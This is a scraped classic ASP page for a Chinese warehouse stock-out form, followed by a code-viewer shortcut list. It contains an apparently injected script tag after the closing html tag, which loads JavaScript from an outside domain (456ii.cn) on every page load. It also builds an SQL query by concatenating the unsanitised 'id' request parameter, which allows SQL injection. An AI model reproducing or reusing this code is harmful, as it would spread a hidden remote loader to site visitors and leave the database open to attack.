?? out.asp
字號:
<%@ LANGUAGE="VBScript"%>
<% response.buffer=true %>
<%const title="出庫操作"%>
<html>
<head>
<meta http-equiv="Content-Type"content="text/html; charset=gb_2312-80">
<meta name="GENERATOR" content="Microsoft FrontPage Express 2.0">
<title><%=title%></title>
<link rel=stylesheet type=text/css href=forum.css>
</head>
<body topmargin="0" onload=this.document.input.out_num.focus();>
<!--#include file=myPrg.asp-->
<!--#include file=opendb.inc-->
<%
CheckLogin
Showtitle(title)
getStorage(session("storage"))
if request("id")<>"" then
session("name_id")=request("id")
sql="select * from stock where name_id="&request("id")
rs.open sql,conn,3,2
if not rs.eof then
session("name")=rs("name")
session("now_stock")="<font color=red>"&rs("now_stock")&"</font> "&rs("unit")
rs.close
gettypepath
response.write " -> [ <font color=red>"&session("name")&" </font> ]"
else
showerror("沒有找到記錄！")
end if
%>
<form action="save_out.asp" method="POST" name="input">
<p align=center><font color=red>請在以下的表格中填入相關的數據</font>
<p>
<table align=center border=0>
<tr>
<td nowrap align=right><font color=blue>目前庫存：</td>
<td><%=session("now_stock")%></td>
</tr>
<tr>
<td nowrap align=right><font color=blue>數量：</td>
<td><input class=smallInput type=textbox name="out_num" value=''>**</td>
</tr>
<tr>
<td valign="top"><font color=blue>出庫摘要：</td>
<td><textarea class=smallarea name=zy rows=3 cols=40>出</textarea>**</td>
</tr>
<tr>
<td nowrap align=right><font color=blue>種類：</td>
<td><input class=smallInput type=textbox name="zl" value=' '></td>
</tr>
<tr>
<td nowrap align=right><font color=blue>號數：</td>
<td><input class=smallInput type=textbox name="hs" value=' '></td>
</tr>
<tr>
<td nowrap align=right><font color=blue>接應者：</td>
<td>
<%ShowUses%>**
[ <a href=usesmanage.asp target=_blank>接應者管理</a> ]
</td>
</tr>
<tr>
<td>
<td><br><input class=buttonface type=submit name=ok value=確定>
<input class=buttonface type=reset name=reset value=復原>
<input class=buttonface type=button name=retu value=返回 onclick=history.go(-1)>
</tr>
</table>
</form>
<%
else
session("name_id")=0
showerror("非法侵入！")
end if
%>
<!--#include file=copyright.asp-->
</body>
</html>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -